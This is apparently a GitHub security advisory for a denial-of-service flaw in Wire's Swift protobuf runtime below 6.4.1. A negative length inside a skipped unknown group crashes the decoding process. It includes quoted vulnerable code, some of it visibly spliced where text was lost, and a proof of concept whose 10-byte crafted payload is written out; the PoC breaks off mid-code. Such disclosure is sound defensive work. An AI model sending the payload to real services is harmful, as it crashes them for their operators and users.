GitHub Advisoryadvisory · SwiftURL

GHSA-86wm-r4c5-2rc9 Wire Swift runtime: negative LENGTH_DELIMITED length in skipGroup() crashes any protobuf-decoding service

HIGH Published 2026-09-23 Modified 2026-09-23 Official page ↗
Aliases
CVE-2026-61695
Ecosystem
SwiftURL
Packages
github.com/square/wire
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-129
Reviewed
2026-09-23

Affected packages

• SwiftURL github.com/square/wire: < 6.4.1 → fixed in 6.4.1

Description

Summary Wire's Swift runtime (`Wire` SPM/CocoaPods product, implemented by `wire-runtime-swift`) did not reject a negative `LENGTH_DELIMITED` field length while skipping an unknown protobuf group. A crafted 10-byte protobuf payload could cause `ProtoReader.skipGroup()` to read a length-delimited field whose varint decodes to a negative `Int32`. That negative value was then passed to `ReadBuffer.readData(count:)`. `ReadBuffer` checked only that the requested read did not go past the end of the buffer. It did not reject negative counts. As a result, a negative count could pass the bounds check and reach Foundation's `Data(bytes:count:)`, which traps and aborts the process (`Signal 5` / SIGTRAP) instead of throwing Wire's documented `ProtoDecoder.Error`. This is the Swift sibling of the Kotlin/JVM negative-length-in-`skipGroup()` issue fixed in `com.squareup.wire:wire-runtime` 6.3.0 (`CVE-2026-45799`, `GHSA-7xpr-hc2w-34m9`). That earlier fix added a `length = 0 check try unknownFieldsWriter.encode(tag: tag, value: data) ``` `ProtoReader.readData()` then forwarded the stored negative length to the buffer: ```swift func readData() throws -> Data { guard case let .lengthDelimited(length) = state else { fatalError("Decoding field as length delimited when key was not LENGTH_DELIMITED") } state = .tag return try buffer.readData(count: length) // count = -128 } ``` The bounds check in `wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift` checked only the upper bound. A negative count could pass this guard and then be handed to Foundation: ```swift func verifyAdditional(count: Int) throws { guard pointer.advanced(by: count) Data { try verifyAdditional(count: count) // negative count passes the guard let data = Data(bytes: pointer, count: count) // Data(bytes:count:) with count = -128 traps pointer = pointer.advanced(by: count) return data } ``` The normal typed length-delimited decode path is comparatively shielded by other state transitions. The schema-agnostic unknown-group skip path was the important path because it threaded an unvalidated signed length into `ReadBuffer.readData(count:)`. How Input Reaches the Sink The reachable decoding path is: ```text ProtoDecoder.decode(_:from:) -> message init(from: ProtoReader) -> ProtoReader.nextTag(token:) -> ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:) -> ProtoReader.readData() -> ReadBuffer.readData(count:) -> Data(bytes:count:) ``` When `ProtoReader.nextTag(token:)` sees an unknown field with wire type `START_GROUP`, it calls the private `skipGroup(...)` helper. Inside that skipped group, an inner `LENGTH_DELIMITED` field with a negative varint length reaches `readData()`, then `ReadBuffer.readData(count:)`, then `Data(bytes:count:)`. The outer field number is arbitrary. The proof of concept uses field 99, but the field does not need to exist in the target schema because unknown-field skipping is schema-agnostic. Proof Of Concept The following proof of concept demonstrates the vulnerable behavior. It uses an empty `ProtoDecodable` message that treats every field as unknown, so an unknown `START_GROUP` field drives `ProtoReader.nextTag(token:)` into the private `skipGroup()` implementation. `Package.swift`: ```swift // swift-tools-version:5.9 import PackageDescription let package = Package( name: "poc", platforms: [.macOS(.v12)], dependencies: [ .package(url: "https://github.com/square/wire.git", exact: "6.4.0") ], targets: [ .executableTarget( name: "poc", dependencies: [.product(name: "Wire", package: "wire")], path: "Sources/poc" ) ] ) ``` `Sources/poc/main.swift`: ```swift import Foundation import Wire func log(_ s: String) { FileHandle.standardError.write((s + "\n").data(using: .utf8)!) } // A ProtoDecodable message that treats every field as unknown. An unknown // START_GROUP field drives ProtoReader.nextTag() into the private skipGroup(). struct EmptyMessage: ProtoDecodable { static var protoSyntax: ProtoSyntax? { .proto2 } init() {} init(from reader: ProtoReader) throws { let token = try reader.beginMessage() while let _ = try reader.nextTag(token: token) {} let _: UnknownFields = try reader.endMessage(token: token) } } // hex 9b06 0a 80ffffff0f 9c06 // 0x9B 0x06 field 99, wire type 3 (START_GROUP) // 0x0A field 1, wire type 2 (LENGTH_DELIMITED) inside group // 0x80 0xFF 0xFF 0xFF 0x0F 5-byte varint decoding to signed Int32 = -128 // 0x9C 0x06 field 99, END_GROUP let attackerPayload = Data([0x9B, 0x06, 0x0A, 0x80, 0xFF, 0xFF, 0xFF, 0x0F, 0x9C, 0x06]) // Negative control: same group, inner length-delimited field has valid length 0. let benignPayload = Data([0x9B, 0x06, 0x0A, 0x00, 0x9C, 0x06]) let decoder = ProtoDecoder() log("=== NEGATIVE CONTROL (valid length 0) ===") do { _ = try decoder.decode(EmptyMessage.self, from: benignPayload) log("negative-control: decoded OK, no crash …

Related

Alias · CVE (1)

  • CVE-2026-61695 Wire provides gRPC and protocol buffers for Android, Kotlin, Swift, and Java. vulnerability

Weakness · CWE (1)

  • CWE-129 Improper Validation of Array Index weakness

References